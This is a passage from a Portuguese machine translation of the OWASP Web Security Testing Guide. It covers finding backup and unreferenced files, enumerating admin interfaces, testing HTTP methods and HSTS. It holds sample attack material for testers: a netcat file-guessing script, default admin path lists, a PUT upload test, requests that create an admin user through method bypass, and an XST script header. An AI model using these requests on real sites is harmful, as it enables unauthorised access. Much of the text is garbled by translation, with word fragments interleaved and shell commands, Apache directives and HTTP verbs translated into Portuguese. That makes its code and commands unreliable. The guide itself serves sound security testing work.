Os cenários mais comuns incluem a presença de versões antigas renomeadas de arquivos modificados, arquivos de inclusão que são carregados no
idioma de sua escolha e podem ser baixados como fonte, ou mesmo backups automáticos ou manuais na forma de arquivos compactados. Os arquivos de
backup também podem ser gerados automaticamente pelo sistema de arquivos subjacente no qual o aplicativo está hospedado, um recurso geralmente
chamado de “instantâneos”.
Todos esses arquivos podem conceder ao testador acesso ao funcionamento interno, backdoors, interfaces administrativas ou até mesmo credenciais para
se conectar à interface administrativa ou ao servidor de banco de dados.
Uma fonte importante de vulnerabilidade reside em arquivos que não têm nada a ver com o aplicativo, mas são criados como consequência da edição de
arquivos do aplicativo, ou após a criação de cópias de backup instantâneas, ou deixando na árvore da Web arquivos antigos ou arquivos sem referência
Executar edição no local ou outras ações administrativas em servidores da Web de produção pode deixar inadvertidamente cópias de backup, geradas
automaticamente pelo editor durante a edição de arquivos ou pelo administrador que está compactando um conjunto de arquivos para criar um backup.
É fácil esquecer esses arquivos e isso pode representar uma séria ameaça à segurança do aplicativo. Isso acontece porque as cópias de segurança podem
ser geradas com extensões de arquivos diferentes dos arquivos originais. Um arquivo .tar , .zip ou .gz que geramos (e esquecemos…) tem
umaobviamente
extensão
diferente, e o mesmo acontece com cópias automáticas criadas por muitos editores (por exemplo, o emacs gera uma cópia de backup chamada file~ ao
editar o arquivo ).
Fazer uma cópia à mão pode produzir o mesmo efeito (pense em copiar arquivo para arquivo.old ). O sistema de arquivos subjacente em que o aplicativo
está pode estar fazendo instantâneos de seu aplicativo em diferentes pontos no tempo sem o seu conhecimento, que também podem ser acessados pela
Web, representando uma ameaça de estilo de arquivo de backup semelhante, mas diferente para seu aplicativo.
Como resultado, essas atividades geram arquivos que não são necessários para o aplicativo e podem ser manipulados de forma diferente do arquivo
Nós estamos
original pelo servidor web. Por exemplo, se fizermos uma cópia de login.asp chamada login.asp.old , permitindo que os usuários baixem o código-fonte de
login.asp . Isso ocorre porque login.asp.old normalmente será servido como texto ou simples, em vez de ser executado por causa de sua extensão. Em
outras palavras, acessar login.asp causa a execução do código do lado do servidor de login.asp , enquanto acessar login.asp.old faz com que o conteúdo
de login.asp.old (que é, novamente, código do lado do servidor) seja ser claramente retornado aopois
riscos de segurança, usuário e exibidoconfidenciais
informações no navegador. Isso ser
podem pode representar
reveladas.
Geralmente, expor o código do lado do servidor é uma má ideia. Você não apenas está expondo desnecessariamente a lógica de negócios, mas também
pode estar revelando inadvertidamente informações relacionadas ao aplicativo que podem ajudar um invasor (nomes de caminho, estruturas de dados,
etc.). Sem mencionar o fato de que existem muitos scripts com nome de usuário e senha embutidos em texto não criptografado (o que é uma prática
descuidada e muito perigosa).
Outras causas de arquivos não referenciados são devido a opções de design ou configuração quando permitem que diversos tipos de arquivos relacionados
ao aplicativo, como arquivos de dados, arquivos de configuração, arquivos de log, sejam armazenados em diretórios do sistema de arquivos que podem ser
acessados pelo servidor da web. Esses arquivos normalmente não têm motivo para estar em um espaço do sistema de arquivos que possa ser acessado
101
via web, pois devem ser acessados apenas no nível do aplicativo, pelo próprio aplicativo (e não pelo usuário casual que navega por aí).
Ameaças
Arquivos antigos, de backup e não referenciados apresentam várias ameaças à segurança de um aplicativo da web:
Arquivos não referenciados podem divulgar informações confidenciais que podem facilitar um ataque direcionado contra o aplicativo; por
exemplo, inclua arquivos contendo credenciais de banco de dados, arquivos de configuração contendo referências a outro conteúdo oculto,
caminhos de arquivo absolutos, etc.
Páginas não referenciadas podem conter funcionalidades poderosas que podem ser usadas para atacar o aplicativo; por exemplo, uma
página de administração que não está vinculada ao conteúdo publicado, mas pode ser acessada por qualquer usuário que saiba onde
encontrá-la.
Arquivos antigos e de backup podem conter vulnerabilidades que foram corrigidas em versões mais recentes; por exemplo , viewdoc.old.jsp
pode conter uma vulnerabilidade de passagem de diretório que foi corrigida em viewdoc.jsp , mas ainda pode ser explorada por qualquer
pessoa que encontrar a versão antiga.
Os arquivos de backup podem divulgar o código-fonte das páginas projetadas para serem executadas no servidor; por exemplo, solicitar
viewdoc.bak pode retornar o código-fonte para viewdoc.jsp , que pode ser encontrar
revisado quanto
fazendo
a vulnerabilidades
solicitações cegas
que
à página
podemexecutável.
ser difíceis de
Embora
essa ameaça obviamente se aplique a linguagens de script, como Perl, PHP, ASP, shell scripts, JSP etc., ela não se limita a elas, conforme
mostrado no exemplo fornecido no próximo marcador.
Os arquivos de backup podem conter cópias de todos os arquivos dentro (ou mesmo fora) do webroot. Isso permite que um invasor enumere
rapidamente todo o aplicativo, incluindo páginas não referenciadas, código-fonte, arquivos de inclusão etc. você está expondo muitas
informações confidenciais que são suscetíveis à descompilação e engenharia reversa.
Em alguns casos, copiar ou editar um arquivo não modifica a extensão do arquivo, mas modifica o nome do arquivo. Isso acontece, por
exemplo, em ambientes Windows, onde as operações de cópia de arquivos geram nomes de arquivos prefixados com “Cópia de “ ou versões
localizadas dessa string. Como a extensão do arquivo permanece inalterada, esse não é um caso em que um arquivo executável é retornado
como texto simples pelo servidor da Web e, portanto, não é um caso de divulgação do código-fonte.
No entanto, esses arquivos também são perigosos porque há uma chance de incluirem lógica obsoleta e incorreta que, quando invocada,
pode acionar erros de aplicativo, que podem fornecer informações valiosas a um invasor, se a exibição de mensagens de diagnóstico estiver
habilitada.
Os arquivos de log podem conter informações confidenciais sobre as atividades dos usuários do aplicativo, por exemplo, dados confidenciais
transmitidos em parâmetros de URL, IDs de sessão, URLs visitados (que podem divulgar conteúdo adicional não referenciado) etc.
Outros arquivos de log (por exemplo, logs de ftp) podem conter informações confidenciais sobre a manutenção do aplicativo pelo sistema
administradores.
Os instantâneos do sistema de arquivos podem conter cópias do código que contêm vulnerabilidades que foram corrigidas em versões mais
recentes. Por exemplo , /.snapshot/monthly.1/view.php pode conter uma vulnerabilidade de travessia de diretório que foi corrigida em /
view.php , mas ainda pode ser explorada por qualquer pessoa que encontrar a versão antiga.
Objetivos do teste
Encontre e analise arquivos não referenciados que possam conter informações confidenciais.
Como testar
O teste de arquivos não referenciados usa técnicas automatizadas e manuais e geralmente envolve uma combinação do seguinte:
Inferência do esquema de nomenclatura usado para conteúdo publicado
Enumere todas as páginas e funcionalidades do aplicativo. Isso pode ser feito manualmente usando um navegador ou usando uma ferramenta de
spidering de aplicativo. A maioria dos aplicativos usa um esquema de nomenclatura reconhecível e organiza recursos em páginas e diretórios
usando palavras que descrevem sua função. A partir do esquema de nomenclatura usado para o conteúdo publicado, muitas vezes é
102
possível inferir o nome e a localização de páginas não referenciadas. Por exemplo, se uma página viewuser.asp for encontrada, procure também
por edituser.asp , adduser.asp e deleteuser.asp . Se um diretório /app/user for encontrado, procure também por /app/admin e /app/manager .
Outras pistas no conteúdo publicado
Muitos aplicativos da Web deixam pistas no conteúdo publicado que podem levar à descoberta de páginas e funcionalidades ocultas. Essas pistas
geralmente aparecem no código-fonte de arquivos HTML e JavaScript. O código-fonte de todo o conteúdo publicado deve ser revisado manualmente
para identificar pistas sobre outras páginas e funcionalidades. Por exemplo:
Os comentários dos programadores e as seções comentadas do código-fonte podem se referir a conteúdo oculto:
 
O JavaScript pode conter links de páginas que são renderizados apenas na GUI do usuário em determinadas circunstâncias:
var adminUser=false; if
(adminUser) menu.add (novo menuItem ("Manter usuários", "/admin/useradmin.jsp"));
As páginas HTML podem conter FORMs que foram ocultados pela desativação do elemento SUBMIT:
<form action="forgotPassword.jsp" method="post">

<input type="hidden" name="userID" value="123"> 
</form>
Outra fonte de pistas sobre diretórios não referenciados é o arquivo /robots.txt usado para fornecer instruções aos robôs da web:
*
Agente de usuário:
Não permitir: /Admin
Proibir: /uploads
Não permitir: /backup
Proibir: /~jbloggs
Proibir: /incluir
Adivinhação cega
Em sua forma mais simples, isso envolve a execução de uma lista de nomes de arquivos comuns por meio de um mecanismo de solicitação na
tentativa de adivinhar arquivos e diretórios existentes no servidor. O seguinte script wrapper netcat lerá uma lista de palavras de stdin e executará
um ataque de adivinhação básico:
#!/bin/bash
servidor=exemplo.org porta=80
enquanto lê url
Faz
echo -ne "$url\t"

echo -e "GET /$url HTTP/1.0\nHost: $servidor\n" | netcat $servidor $porta | cabeça -1 feito | arquivo de saída tee
103
Dependendo do servidor, GET pode ser substituído por HEAD para resultados mais rápidos. O arquivo de saída especificado pode ser obtido por códigos de resposta
“interessantes”. O código de resposta 200 (OK) geralmente indica que um recurso válido foi encontrado (desde que o servidor não forneça uma página personalizada
“não encontrado” usando o código 200). Mas também procure 301 (Movido), 302 (Encontrado), 401 (Não autorizado), 403 (Proibido) e 500 (Erro interno), que também
podem indicar recursos ou diretórios que merecem uma investigação mais aprofundada.
O ataque básico de adivinhação deve ser executado contra o webroot e também contra todos os diretórios que foram identificados por meio de outras técnicas de
enumeração. Ataques de adivinhação mais avançados/eficazes podem ser executados da seguinte forma:
Identifique as extensões de arquivo em uso em áreas conhecidas do aplicativo (por exemplo, jsp, aspx, html) e use uma lista de palavras básica anexada a cada
uma dessas extensões (ou use uma lista mais longa de extensões comuns, se os recursos permitirem).
Para cada arquivo identificado por meio de outras técnicas de enumeração, crie uma lista de palavras personalizada derivada desse nome de arquivo.
Obtenha uma lista de extensões de arquivo comuns (incluindo ~, bak, txt, src, dev, old, inc, orig, copy, tmp, swp, etc.) e use cada extensão antes, depois e em vez
da extensão do nome de arquivo real.
Observação: as operações de cópia de arquivo do Windows geram nomes de arquivo com o prefixo “Cópia de “ ou versões localizadas dessa sequência, portanto, não
alteram as extensões de arquivo. Embora os arquivos “Cópia de” normalmente não revelem o código-fonte quando acessados, eles podem fornecer informações valiosas
caso causem erros quando invocados.
Informações obtidas por meio de vulnerabilidades e configurações incorretas do servidor
A maneira mais óbvia de um servidor mal configurado revelar páginas não referenciadas é por meio da listagem de diretórios.
Solicite todos os diretórios enumerados para identificar qualquer um que forneça uma listagem de diretórios.
Numerosas vulnerabilidades foram encontradas em servidores web individuais que permitem a um invasor enumerar
conteúdo não referenciado, por exemplo:
Vulnerabilidade de listagem de diretório Apache ?M=D.
Várias vulnerabilidades de divulgação de fonte de script IIS.
Vulnerabilidades de listagem de diretórios do IIS WebDAV.
Uso de informações publicamente disponíveis
Páginas e funcionalidade em aplicativos da Web voltados para a Internet que não são referenciados no próprio aplicativo podem ser referenciados em outras fontes de
domínio público. Existem várias fontes dessas referências:
As páginas que costumavam ser referenciadas ainda podem aparecer nos arquivos dos mecanismos de pesquisa da Internet. Por exemplo, 1998results.asp pode
não estar mais vinculado a um site da empresa, mas pode permanecer no servidor e em bancos de dados de mecanismos de pesquisa. Esse script antigo pode
conter vulnerabilidades que podem ser usadas para comprometer todo o site. O site: o operador de pesquisa do Google pode ser usado para executar uma
consulta apenas no domínio de sua escolha, como em: site:www.example.com . O uso de mecanismos de pesquisa dessa maneira levou a uma ampla gama de
técnicas que você pode achar úteis e que são descritas na seção Google Hacking deste guia. Confira para aprimorar suas habilidades de teste via Google. Os
arquivos de backup provavelmente não serão referenciados por nenhum outro arquivo e, portanto, podem não ter sido indexados pelo Google, mas se estiverem
em diretórios navegáveis, o mecanismo de pesquisa poderá saber sobre eles.
Além disso, o Google e o Yahoo mantêm versões em cache das páginas encontradas por seus robôs. Mesmo que 1998results.asp tenha sido removido do servidor
de destino, uma versão de sua saída ainda pode ser armazenada por esses mecanismos de pesquisa. A versão em cache pode conter referências ou pistas sobre
conteúdo oculto adicional que ainda permanece no servidor.
O conteúdo que não é referenciado em um aplicativo de destino pode ser vinculado a sites de terceiros. Por exemplo, um aplicativo que processa pagamentos on-
line em nome de comerciantes terceirizados pode conter uma variedade de funcionalidades personalizadas que (normalmente) só podem ser encontradas seguindo
os links nos sites de seus clientes.
Ignorar filtro de nome de arquivo
Como os filtros de lista de negação são baseados em expressões regulares, às vezes pode-se tirar proveito dos recursos obscuros de expansão de nome de arquivo do
sistema operacional, nos quais funcionam de maneiras que o desenvolvedor não esperava. Às vezes, o testador pode explorar diferenças nas maneiras como os nomes
de arquivo são analisados pelo aplicativo, servidor da web e sistema operacional subjacente e suas convenções de nome de arquivo.
Exemplo: expansão de nome de arquivo do Windows 8.3 c:\\arquivos de programa torna -se C:\\PROGRA\~1
104
Remover caracteres incompatíveis
Converter espaços em sublinhados

Pegue os primeiros seis caracteres do nome base
Adicione ~<dígito> que é usado para distinguir arquivos com nomes usando os mesmos seis caracteres iniciais
Esta convenção muda após as primeiras 3 olisões de cname

Truncar extensão de arquivo para três caracteres
Coloque todos os caracteres em maiúsculas
execução de teste de caixa cinza em arquivos antigos e de backup requer o exame dos arquivos contidos nos diretórios pertencentes ao conjunto de
diretórios da Web atendidos pelo(s) servidor(es) da Web da infraestrutura de aplicativos da Web. Teoricamente, o exame deve ser feito manualmente
para ser completo. No entanto, como na maioria dos casos as cópias de arquivos ou arquivos de backup tendem a ser criados usando as mesmas
convenções de nomenclatura, a pesquisa pode ser facilmente codificada. Por exemplo, os editores deixam cópias de backup nomeando-as com uma
extensão ou terminação reconhecível e os humanos tendem a deixar para trás arquivos com .old ou extensões previsíveis semelhantes. Uma boa
estratégia é agendar periodicamente uma verificação de trabalho em segundo plano para arquivos com extensões que possam identificá-los como
arquivos de cópia ou backup e executar verificações manuais também em um período de tempo mais longo.
Remediação
Para garantir uma estratégia de proteção eficaz, os testes devem ser complementados por uma política de segurança que proíba claramente práticas
perigosas, como:
Edição de arquivos no local no servidor da Web ou nos sistemas de arquivos do servidor de aplicativos. Este é um hábito particularmente ruim, pois
é provável que gere arquivos de backup ou temporários pelos editores. É incrível ver com que frequência isso é feito, mesmo em grandes
organizações. Se você absolutamente precisar editar arquivos em um sistema de produção, certifique-se de não deixar para trás nada que não seja
explicitamente pretendido e considere que você está fazendo isso por sua conta e risco.
Verifique cuidadosamente qualquer outra atividade executada em sistemas de arquivos expostos pelo servidor da web, como atividades de
administração pontual. Por exemplo, se ocasionalmente precisar tirar um instantâneo de alguns diretórios (o que não deve ser feito em um sistema
de produção), você pode ficar tentado a compactá-los primeiro. Tenha cuidado para não deixar para trás esses arquivos compactados.
As políticas apropriadas de gerenciamento de configuração devem ajudar a evitar arquivos obsoletos e não referenciados.
Os aplicativos devem ser projetados para não criar (ou depender de) arquivos armazenados nas árvores de diretórios da web servidas pelo servidor
da web. Arquivos de dados, arquivos de log, arquivos de configuração, etc. devem ser armazenados em diretórios não acessíveis pelo servidor da
web, para evitar a possibilidade de divulgação de informações (sem mencionar a modificação de dados se as permissões do diretório da web
permitirem a gravação).
Os instantâneos do sistema de arquivos não devem ser acessíveis pela Web se a raiz do documento estiver em um sistema de arquivos que usa
essa tecnologia. Configure seu servidor web para negar acesso a esses diretórios, por exemplo, no Apache, uma diretiva de localização como esta
deve ser usada:
<Location ~ ".snapshot">
Rejeitar pedido, permitir
Negar de todos
</Local>
Ferramentas
As ferramentas de avaliação de vulnerabilidades tendem a incluir verificações para localizar diretórios da Web com nomes padrão (como “admin”, “teste”,
“backup” etc.) e relatar qualquer diretório da Web que permita a indexação. Se você não conseguir obter nenhuma listagem de diretório, tente verificar as
prováveis extensões de backup. Verifique por exemplo
Nesso
Nikto2
Machine
105
ferramentas de aranha da web
wget
Wget para Windows
Sam Spade
O proxy Spike inclui uma função de rastreador de site

Xenu
ondulação
Alguns deles também estão incluídos nas distribuições padrão do Linux. As ferramentas de desenvolvimento da Web geralmente incluem recursos
para identificar links quebrados e arquivos sem referência.
106
Enumerar interfaces de administração de infraestrutura e aplicativos
EU IRIA
WSTG-CONF-05
Resumo
As interfaces do administrador podem estar presentes no aplicativo ou no servidor do aplicativo para permitir que determinados usuários realizem atividades
privilegiadas no site. Testes devem ser realizados para revelar se e como essa funcionalidade privilegiada pode ser acessada por um usuário padrão ou não
autorizado.
Um aplicativo pode exigir uma interface de administrador para permitir que um usuário privilegiado acesse a funcionalidade que pode fazer alterações no
funcionamento do site. Tais mudanças podem incluir:
design e layout do site de
provisionamento de conta de usuário
manipulação de dados
mudanças de configuração
Em muitos casos, essas interfaces não possuem controles suficientes para protegê-las contra acesso não autorizado. O teste visa descobrir essas interfaces
de administrador e acessar a funcionalidade destinada aos usuários privilegiados.
Objetivos do teste
Identifique as interfaces e funcionalidades ocultas do administrador.
Como testar
Teste de caixa preta A seção
a seguir descreve os vetores que podem ser usados para testar a presença de interfaces administrativas. Essas técnicas também podem ser usadas para
testar problemas relacionados, incluindo escalonamento de privilégios, e são descritas em outras partes deste guia (por exemplo, Teste para ignorar o
esquema de autorização e Teste para referências diretas inseguras de objetos com mais detalhes.
Enumeração de diretórios e arquivos. Uma interface administrativa pode estar presente, mas não visível para o testador.
Tentar adivinhar o caminho da interface administrativa pode ser tão simples quanto solicitar: / admin ou / administrator etc.
Existem muitas ferramentas disponíveis para executar a força bruta do conteúdo do servidor, consulte a seção de ferramentas abaixo para obter mais
informações. Um testador também pode ter que identificar o nome do arquivo da página de administração. A navegação forçada para a página
identificada pode fornecer acesso à interface.
Comentários e links no código-fonte. Muitos sites usam código comum que é carregado para todos os usuários do site. Ao examinar todas as fontes
enviadas ao cliente, os links para a funcionalidade do administrador podem ser descobertos e devem ser investigados.
Revisão da documentação do servidor e do aplicativo. Se o servidor de aplicativos ou aplicativo for implantado em sua configuração padrão, pode ser
possível acessar a interface de administração usando as informações descritas na configuração ou na documentação de ajuda. As listas de senhas
padrão devem ser consultadas se uma interface administrativa for encontrada e as credenciais forem necessárias.
Informações publicamente disponíveis. Muitos aplicativos, como o WordPress, têm interfaces administrativas padrão.
Porta alternativa do servidor. As interfaces de administração podem ser vistas em uma porta diferente no host do aplicativo principal. Por exemplo, a
interface de administração do Apache Tomcat geralmente pode ser vista na porta 8080.
Alteração de parâmetro. Um parâmetro GET ou POST ou uma variável de cookie pode ser necessário para habilitar a funcionalidade do administrador.
As pistas para isso incluem a presença de campos ocultos, como:
107
<input type="hidden" name="admin" value="no">
ou em um cookie:
Cookie: session_cookie; usuárioadmin=0
Depois que uma interface administrativa é descoberta, uma combinação das técnicas acima pode ser usada para tentar burlar a autenticação. Se isso
falhar, o testador pode tentar um ataque de força bruta. Nesse caso, o testador deve estar ciente do potencial de bloqueio de conta administrativa se tal
funcionalidade estiver presente.
Teste de caixa cinza Um
exame mais detalhado do servidor e dos componentes do aplicativo deve ser realizado para garantir proteção (ou seja, as páginas do administrador não
são acessíveis a todos por meio do uso de filtragem de IP ou outros controles) e, quando aplicável, verificação de que todos os componentes não use
credenciais ou configurações padrão. O código-fonte deve ser revisado para garantir que o modelo de autorização e autenticação assegure uma clara
separação de funções entre usuários normais e administradores do site. As funções da interface do usuário compartilhadas entre usuários normais e
administradores devem ser
revisada para garantir uma separação clara entre o desenho de tais componentes e o vazamento de informações de tal funcionalidade compartilhada.
Cada estrutura da web pode ter suas próprias páginas ou caminho padrão de administrador. Por exemplo
WebSphere:
/admin
/admin-authz.xml /
admin.conf
/admin.passwd /
admin/*
/admin/logon.jsp /
admin/secure/logon.jsp
PHP:
/phpinfo /
phpmyadmin/ /
phpMyAdmin/ /
mysqladmin/ /
MySQLadmin /
MySQLAdmin /
login.php /
logon.php /
xmlrpc.php /
dbadmin
Primeira página:
/admin.dll /
admin.exe
/administrators.pwd /
autor.dll
/autor.exe /
autor.log /
autores.pwd /
cgi-bin
Machine
108
WebLogic:
/AdminCaptureRootCA
/AdminClientes
/AdminConnections
/AdminEvents
/AdminJDBC
/AdminLicense
/AdminPrincipal
/AdminProps
/AdminRealm
/AdminThreads
WordPress:
wp-admin/
wp-admin/about.php wp-
admin/admin-ajax.php wp-admin/
admin-db.php wp-admin/admin-
footer.php wp-admin/admin-
functions.php wp-admin /admin-
header.php
Ferramentas
OWASP ZAP - Navegação Forçada é um uso atualmente mantido do projeto DirBuster anterior da OWASP.
THC-HIDRA é uma ferramenta que permite força bruta de muitas interfaces, incluindo autenticação HTTP baseada em formulário.
Um brute forcer é muito melhor quando usa um bom dicionário, por exemplo o netsparker dicionário.
Referências
Cirt: lista de senhas padrão
O FuzzDB pode ser usado para fazer navegação de força bruta no caminho de login do administrador
Parâmetros comuns de administração ou depuração

Machine
109
Testar métodos HTTP
EU IRIA
WSTG-CONF-06
Resumo
O HTTP oferece vários métodos que podem ser usados para executar ações no servidor da Web (o padrão HTTP 1.1 se refere a eles como métodos , mas também são
comumente descritos como verbos ). Embora GET e POST sejam de longe os métodos mais comuns usados para acessar informações fornecidas por um servidor da
Web, o HTTP permite vários outros (e um pouco menos conhecidos) métodos. Alguns deles podem ser usados para fins nefastos se o servidor da Web estiver configurado
incorretamente.
RFC 7231 – Protocolo de Transferência de Hipertexto (HTTP/1.1): Semântica e Conteúdo define os seguintes métodos de solicitação HTTP
válidos ou verbos:
OBTER
CABEÇA
PUBLICAR
COLOCAR
EXCLUIR
CONECTAR
OPÇÕES
VESTÍGIO
No entanto, a maioria dos aplicativos da Web precisa apenas responder a solicitações GET e POST, recebendo dados do usuário na string de consulta da URL ou
anexados à solicitação, respectivamente. Os links de estilo <a href=""></a> padrão , bem como os formulários definidos sem um método, acionam uma solicitação GET;
dados de formulários enviados por <form method='POST'></form> acionam solicitações POST. As chamadas JavaScript e AJAX podem enviar métodos diferentes de
GET e POST, mas geralmente não precisam fazer isso. Como os outros métodos são raramente usados, muitos desenvolvedores não sabem, ou não levam em
consideração, como o servidor da web ou a implementação desses métodos na estrutura do aplicativo impactam os recursos de segurança do aplicativo.
Objetivos do teste
Enumere os métodos HTTP suportados.
Teste para bypass de controle de acesso.
Teste as vulnerabilidades do XST.
Teste as técnicas de substituição do método HTTP.
Como testar
Descubra os métodos suportados Para
realizar este teste, o testador precisa de alguma forma descobrir quais métodos HTTP são suportados pelo servidor web que está sendo
examinado. Embora o método OPTIONS HTTP forneça uma maneira direta de fazer isso, verifique a resposta do servidor emitindo
solicitações usando métodos diferentes. Isso pode ser obtido por meio de testes manuais ou algo como os métodos http script Nmap.
Para usar o script Nmap http-methods para testar o endpoint /index.php no servidor localhost usando HTTPS, emita o comando:
110
nmap -p 443 --script http-methods --script-args http-methods.url-path='/index.php' localhost
Ao testar um aplicativo que precisa aceitar outros métodos, por exemplo, um serviço da Web RESTful, teste-o completamente para garantir que
todos os pontos de extremidade aceitem apenas os métodos necessários.
Testando o método PUT
1. Capture a solicitação base do destino com um proxy da web.
2. Altere o método de solicitação para PUT e inclua o arquivo test.html e envie a solicitação ao servidor de aplicativos.
PUT /test.html HTTP/1.1

Host: site-teste
<html>
O método HTTP PUT está ativado
</html>
3. Se a resposta do servidor com códigos de sucesso 2XX ou redirecionamentos 3XX e, em seguida, confirmar por solicitação GET para
arquivo test.html . O aplicativo é vulnerável.
Se o método HTTP PUT não for permitido na URL base ou solicitação, tente outros caminhos no sistema.
OBSERVAÇÃO: Se você conseguir carregar um shell da web, deverá sobrescrevê-lo ou garantir que a equipe de segurança do destino
esteja ciente e remova o componente imediatamente após sua prova de conceito.
Aproveitando o método PUT , um invasor pode colocar conteúdo arbitrário e potencialmente malicioso no sistema, o que pode levar à execução
remota de código, desfigurar o site ou negação de serviço.
Testando o desvio do controle de acesso Encontre
uma página para visitar que tenha uma restrição de segurança, de modo que uma solicitação GET normalmente forçaria um redirecionamento
302 para uma página de login ou forçaria um login diretamente. Emita solicitações usando vários métodos, como HEAD, POST, PUT, etc., bem
como métodos arbitrários, como BILBAO, FOOBAR, CATS, etc. Se o aplicativo da Web responder com um HTTP/1.1 200 OK , isso não é uma
página de login , pode ser possível ignorar a autenticação ou autorização. O exemplo a seguir usa o ncat do Nmap .
$ ncat www.example.com 80
HEAD /admin HTTP/1.1
Host: www.example.com
HTTP/1.1 200 OK
Data: Seg, 18 de agosto de 2008 22:44:11 GMT
Servidor: Apache Set-Cookie: PHPSESSID=pKi...;
caminho=/; HttpOnly Expira: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-
check=0, pre-check=0 Pragma: no-cache Set-Cookie: adminOnlyCookie1=...; expira=Ter, 18 de agosto de
2009 22:44:31 GMT; domínio=www.example.com Set-Cookie: adminOnlyCookie2=...; expira=Seg, 18 de
agosto de 2008 22:54:31 GMT; domínio=www.example.com Set-Cookie: adminOnlyCookie3=...; expira=Dom, 19 de agosto de 2007
22:44:30 GMT; domínio=www.example.com Conteúdo-Idioma: EN Conexão: fechar
Tipo de conteúdo: texto/html; conjunto de caracteres = ISO-8859-1
Se o sistema parecer vulnerável, emita ataques do tipo CSRF, como os seguintes, para explorar o problema de forma mais completa:
111
HEAD /admin/createUser.php?member=myAdmin
PUT /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123
CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add
Usando os três comandos acima, modificados para se adequar ao aplicativo em teste e aos requisitos de teste, um novo usuário seria
criado, uma senha atribuída e o usuário se tornaria um administrador, tudo usando o envio de solicitação cega.
Testando o potencial de rastreamento entre sites Nota:
para entender a lógica e os objetivos de um ataque de rastreamento entre sites (XST), é preciso estar familiarizado com os ataques de
script entre sites.
O método TRACE , destinado ao teste e depuração, instrui o servidor web a refletir a mensagem recebida de volta ao cliente. Este método,
embora aparentemente inofensivo, pode ser aproveitado com sucesso em alguns cenários para roubar credenciais de usuários legítimos.
Essa técnica de ataque foi descoberta por Jeremiah Grossman em 2003, em uma tentativa de burlar o HttpOnly atributo que visa proteger
os cookies de serem acessados pelo JavaScript. No entanto, o método TRACE pode ser usado para ignorar essa proteção e acessar o
cookie mesmo quando esse atributo estiver definido.
Teste o potencial de rastreamento entre sites emitindo uma solicitação como a seguinte:
$ ncat www.victim.com 80 TRACE /

HTTP/1.1
Host: www.victim.com Aleatório:
Cabeçalho
HTTP/1.1 200 OK
Aleatório: Cabeçalho
...
O servidor da web retornou um 200 e refletiu o cabeçalho aleatório que foi definido no local. Para explorar ainda mais esse problema:
$ ncat www.victim.com 80 TRACE /

HTTP/1.1 Host: www.victim.com
Ataque: <script>prompt()</script>
O exemplo acima funciona se a resposta estiver sendo refletida no contexto HTML.
Em navegadores mais antigos, os ataques foram puxados usando a tecnologia XHR](https://developer.mozilla.org/en-US/docs/Web/API/

XMLHttpRequest), que vazou os cabeçalhos quando o servidor os reflete (por exemplo , cookies, tokens de autorização , etc.) e ignorou
medidas de segurança, como o atributo [HttpOnly. Esse ataque pode ser executado em navegadores recentes apenas se o aplicativo se
integrar a tecnologias semelhantes ao Flash.
Testando a substituição do método HTTP Algumas
estruturas da Web fornecem uma maneira de substituir o método HTTP real na solicitação emulando os verbos HTTP ausentes passando
algum cabeçalho personalizado nas solicitações. O principal objetivo disso é contornar algumas limitações de middleware (por exemplo,
proxy, firewall) onde os métodos permitidos geralmente não abrangem verbos como PUT ou DELETE . Os seguintes cabeçalhos alternativos
podem ser usados para fazer tal tunelamento verbal:
Método X-HTTP
X-HTTP-Method-Override
X-Method-Override
Para testar isso, nos cenários em que verbos restritos, como PUT ou DELETE, retornam um “405 Método não permitido”, repita a mesma
solicitação com a adição de cabeçalhos alternativos para substituição do método HTTP e observe como o
112
sistema responde. O aplicativo deve responder com um código de status diferente (por exemplo , 200) nos casos em que a substituição do método é suportada.
O servidor web no exemplo a seguir não permite o método DELETE e o bloqueia:
DELETE /resource.html HTTP/1.1
Método HTTP/1.1 405 não permitido

Data: sábado, 04 de abril de 2020 18:26:53 GMT
Servidor: Apache
Permitir: GET,HEAD,POST,OPTIONS
Variar: aceitar-codificação
Depois de adicionar o X-HTTP-Header , o servidor responde ao pedido com um 200:
DELETE /resource.html HTTP/1.1
Host: www.example.com X-
HTTP-Method: DELETE
HTTP/1.1 200 OK
Data: sábado, 04 de abril de 2020 19:26:01 GMT
Servidor: Apache
Remediação
Certifique-se de que apenas os cabeçalhos necessários sejam permitidos e que os cabeçalhos permitidos estejam configurados corretamente.
Certifique-se de que nenhuma solução alternativa seja implementada para contornar as medidas de segurança implementadas por agentes de usuário,
estruturas ou servidores da web.
Ferramentas
Ncat
ondulação
nmap http-methods script NSE w3af
plugin htaccess_methods
Referências
RFC 2109 e RFC 2965: “Mecanismo de gerenciamento de estado HTTP”
HTACCESS: Método BILBAO exposto
Amit Klein: “Variantes de ataque XS(T) que podem, em alguns casos, eliminar a necessidade de TRACE”
Fortify - Substituição de método HTTP mal utilizado
CAPEC-107: rastreamento entre sites

113
Testar segurança de transporte estrito HTTP
EU IRIA
WSTG-CONF-07
Resumo
O recurso HTTP Strict Transport Security (HSTS) permite que um aplicativo da Web informe ao navegador por meio do uso de um cabeçalho de
resposta especial que ele nunca deve estabelecer uma conexão com os servidores de domínio especificados usando HTTP não criptografado. Em
vez disso, ele deve estabelecer automaticamente todas as solicitações de conexão para acessar o site por meio de HTTPS. Ele também impede
que os usuários substituam erros de certificado.
Considerando a importância desta medida de segurança, é prudente verificar se o site está usando este cabeçalho HTTP para garantir que todos
os dados trafeguem criptografados entre o navegador da Web e o servidor.
O cabeçalho de segurança de transporte estrito HTTP usa duas diretivas:
max-age : para indicar o número de segundos que o navegador deve converter automaticamente todas as solicitações HTTP para
HTTPS.
includeSubDomains : para indicar que todos os subdomínios relacionados devem usar HTTPS.
preload Unofficial: para indicar que o(s) domínio(s) estão na(s) lista(s) de pré-carregamento e que os navegadores nunca devem
conectar sem HTTPS.
Isso é suportado por todos os principais navegadores, mas não é parte oficial da especificação. (Ver hstspreload.org Para maiores
informações.)
Aqui está um exemplo da implementação do cabeçalho HSTS:
Strict-Transport-Security: max-age=31536000; includeSubDomains
O uso deste cabeçalho por aplicativos da web deve ser verificado para descobrir se os seguintes problemas de segurança podem ser produzidos:
Os invasores farejando o tráfego de rede e acessando as informações transferidas por meio de um canal não criptografado.
Os invasores que exploram um manipulador no meio atacam devido ao problema de aceitar certificados que não são confiáveis.
Usuários que inseriram por engano um endereço no navegador colocando HTTP em vez de HTTPS, ou usuários que clicaram em um link em
